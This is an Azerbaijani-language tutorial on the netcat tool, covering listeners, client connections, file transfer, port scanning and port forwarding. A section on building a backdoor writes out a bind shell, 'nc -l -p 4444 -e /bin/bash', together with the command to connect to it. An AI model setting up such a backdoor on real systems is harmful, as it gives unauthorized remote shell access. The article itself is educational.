Netcat Haqqında Ətraflı Texniki Məlumat
Netcat (nc) — şəbəkə bağlantıları yaratmaq və idarə etmək üçün istifadə edilən güclü bir komanda xətti alətidir. “Netcat” adətən “network cat” olaraq izah edilir, çünki bu alət, Linux və Unix əməliyyat sistemlərində faylları, məlumatları və bağlantıları şəbəkə üzərindən “təkrarlamaq” (pipe) və “tutmaq” funksiyasını yerinə yetirir. Netcat həm TCP, həm də UDP protokollarını dəstəkləyir və bu səbəbdən çox çevik və geniş istifadə olunan bir alət halına gəlir.
Netcat, pentest (penetrasiya testləri), şəbəkə administratorları tərəfindən şəbəkə problemlərinin diaqnostikası və əsas şəbəkə xidmətləri üçün istifadə olunur. Bu, həmçinin backdoor (geri qapı) yaradıcılığı, məlumatın ötürülməsi, şəbəkə portlarını yoxlamaq və əlaqə idarə etmək üçün faydalı bir alət ola bilər.
Netcat-ın Əsas Xüsusiyyətləri
Netcat, şəbəkə üzərində müxtəlif əməliyyatları həyata keçirmək üçün çox sayda xüsusiyyətə malikdir. Əsas xüsusiyyətlərdən bəziləri:
- Bağlantı Qurma və Qəbul Etmə: Netcat, həm serverə qoşulma (client), həm də server kimi işləmə qabiliyyətinə malikdir. Bu, şəbəkə üzərindəki TCP/UDP bağlantılarını idarə etməyə imkan verir.
- Port Skanning (Port Yoxlama): Netcat, müəyyən bir hostda açıq olan portları tapmaq üçün istifadə edilə bilər. Bu, şəbəkə üzərində zəifliklərin aşkar edilməsi üçün faydalıdır.
- Şəbəkə Trafikini Yönləndirmək: Netcat, şəbəkə üzərindən məlumatın yönləndirilməsi və idarə edilməsini təmin edir. Bu, məlumatların bir cihazdan digərinə yönləndirilməsi üçün istifadə edilə bilər.
- Fayl Transferi: Netcat, faylların şəbəkə üzərindən sürətli şəkildə göndərilməsi və alınması üçün istifadə edilə bilər. Bu xüsusiyyət, şəbəkə mütəxəssisləri və administratorları üçün faydalıdır.
- Şəbəkə Dinləyicisi və Serveri: Netcat, şəbəkə portlarında dinləmə və server kimi fəaliyyət göstərmək üçün istifadə edilə bilər. Bu, müxtəlif xidmətlər yaratmaq və sızma testləri üçün faydalıdır.
- Backdoor Qurma: Netcat, sızma testləri zamanı geri qapı (backdoor) yaratmaq üçün istifadə olunur. Bu, xüsusi şəbəkə əlaqələrinin yaradılmasına və uzaqdan nəzarətə imkan verir.
Netcat-ın İstifadəsi
Netcat, çox çevik və güclü bir alət olduğu üçün bir çox fərqli məqsədlə istifadə edilə bilər. Aşağıda ən çox istifadə olunan bəzi nümunələri təqdim edirik.
1. Server Qurmaq (Dinləyici Porta Bağlanmaq)
Netcat ilə sadə bir TCP serveri qurmaq çox asandır. Məsələn, aşağıdakı əmrlə port 12345-də dinləyici (listener) bir server yaratmaq mümkündür:
nc -l -p 12345
Bu əmrlə, nc
12345 portunu dinləyəcək və əlaqə qurulmuş hər hansı bir məlumatı qəbul edəcək.
2. Client Kimi Bağlanmaq
Netcat, müəyyən bir serverə qoşulmaq üçün də istifadə edilə bilər. Məsələn, bir IP adresinə və portuna qoşulmaq üçün:
nc 192.168.1.10 12345
Bu əmr, 192.168.1.10 IP ünvanında 12345 portuna TCP əlaqəsi quracaq.
3. Fayl Göndərmək
Netcat, fayl transferi üçün çox asan bir üsul təqdim edir. Bir serverə fayl göndərmək üçün, server tərəfi dinləməyə başlamalıdır:
Server tərəfində:
nc -l -p 12345 > received_file.txt
Client tərəfində faylı göndərmək üçün isə:
nc 192.168.1.10 12345 < file_to_send.txt
Bu əmrlə file_to_send.txt
faylı 192.168.1.10 serverinə 12345 portu üzərindən göndərilir.
4. Port Skanning (Port Yoxlama)
Netcat, müəyyən bir IP ünvanında açıq portları tapmaq üçün istifadə edilə bilər. Aşağıdakı əmr, 192.168.1.10 ünvanında 1-1000 arası portları yoxlayacaq:
nc -zv 192.168.1.10 1-1000
Bu əmrdə -z
(zero-I/O mode) parametri portları yalnız yoxlayır, məlumat göndərmir, -v
isə çıxışı daha detallı edir.
5. Şəbəkə Yönləndirməsi (Port Forwarding)
Netcat, şəbəkə trafikini bir portdan digərinə yönləndirmək üçün istifadə edilə bilər. Məsələn, lokal bir portu uzaq bir serverə yönləndirmək üçün:
nc -l -p 12345 | nc 192.168.1.20 54321
Bu əmrlə, 12345 portuna gələn məlumatlar 192.168.1.20 IP ünvanında 54321 portuna göndəriləcək.
6. Backdoor Qurmaq
Netcat, sızma testləri zamanı bir serverə geri qapı açmaq üçün istifadə edilə bilər. Məsələn, bir sistemə geri qapı qurmaq üçün aşağıdakı əmrdən istifadə olunur:
Server tərəfində:
nc -l -p 4444 -e /bin/bash
Bu əmrlə, 4444 portunda dinləyici bir Netcat serveri yaradılır və əlaqə qurulduqda, bash
shell-ə keçid edilir. Bu, uzaqdan sistemə daxil olmaq və komanda işlətmək üçün istifadə edilir.
Client tərəfində:
nc 192.168.1.10 4444
Bu əmrlə client, 192.168.1.10 serverinə qoşulacaq və bash shell-ə giriş əldə edəcək.
Netcat Komut Parametrləri
Netcat-ın əsas parametrləri aşağıdakılardır:
-l
: Dinləmə rejiminə keçmək (server kimi işləmək).-p <port>
: Dinləmə üçün port nömrəsini təyin etmək.-v
: Detallı çıxış göstərmək.-z
: Port skan edərkən yalnız portların açıq olub olmadığını yoxlamaq.-e <program>
: Bağlantı qurulduqda müəyyən bir proqramı işlətmək (backdoor yaratmaq).-n
: DNS çözümlemesi etmədən yalnız IP istifadə etmək.-u
: UDP protokolunu istifadə etmək.-w <seconds>
: Bağlantı üçün zaman aşımını təyin etmək.
Netcat-ın Təhlükəsizlik Təhlili və Zəifliklər
Netcat, çox güclü bir alət olsa da, təhlükəsizlik mütəxəssisləri tərəfindən penetrasiya testləri və şəbəkə zəifliklərinin aşkar edilməsi üçün geniş istifadə olunur. Lakin, Netcat çox çevik olduğu üçün həmçinin zərərli istifadəçilər tərəfindən şəbəkə sızmalarına və backdoor qurulmasına imkan verir. Bu səbəbdən, şəbəkə mütəxəssisləri və administratorları Netcat ilə yaranan təhlükələri izləməli və şəbəkə üzərində ciddi monitorinq aparmalıdırlar.
Netcat, güclü şəbəkə alətlərindən biri olsa da, doğru və etik istifadə məqsədi ilə istifadə olunmalıdır.